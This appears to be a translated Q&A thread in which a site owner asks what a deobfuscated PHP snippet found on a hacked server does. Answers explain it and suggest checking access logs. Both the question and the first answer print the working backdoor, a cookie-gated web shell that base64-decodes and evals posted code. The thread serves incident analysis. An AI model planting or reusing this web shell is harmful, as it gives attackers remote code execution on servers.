我在网络服务器上发现了一些黑客文件。我设法对它们进行了一些去混淆 - 它们似乎都有一个部分解码成一个看起来像的块:
if (!empty($_COOKIE['v']) and $_COOKIE['v']=='d'){if (!empty($_POST['c'])) {echo '<textarea rows=28 cols=80>'; $d=base64_decode(str_replace(' ','+',$_POST['c']));if($d) @eval($d); echo '</textarea>';}echo '<form action="" method=post><textarea cols=80 rows=28 name=c></textarea><br><input type=submit></form>';exit;}
但是这个块(上面解码的)通常嵌入到更大的代码片段中。我在这里分享了其中一个文件的代码:http://pastie.org/3753704
我可以看看这段代码的去向,但绝对不是PHP的专家,可以使用一些帮助来更具体地弄清楚它正在做什么或启用什么。此外,如果有人碰巧熟悉这个黑客,任何关于它如何工作的信息,以及黑客的后门和其他组件可能被隐藏的位置将是非常有帮助的,非常感谢。
我尝试了Google的部分代码,看看其他人是否报告了这些代码,但只提出了这个链接:http://www.daniweb.com/web-development/php/threads/365059/hacked-joomla
谢谢!
答案 0 :(得分:3)
如果cookie“v”设置为“d”,则在表单中显示textarea。提交表单后,执行textarea中的代码。
<?php
if (!empty($_COOKIE['v']) and $_COOKIE['v']=='d'){
if (!empty($_POST['c'])) {
echo '<textarea rows=28 cols=80>';
$d=base64_decode(str_replace(' ','+',$_POST['c']));
if($d)
@eval($d);
echo '</textarea>';
}
echo '<form action="" method=post><textarea cols=80 rows=28 name=c></textarea><br><input type=submit></form>';
exit;
}
?>
答案 1 :(得分:0)
不是这个特定的黑客,但this post中的一些建议可能会有所帮助。具体而言,访问日志可能会显示问题的来源。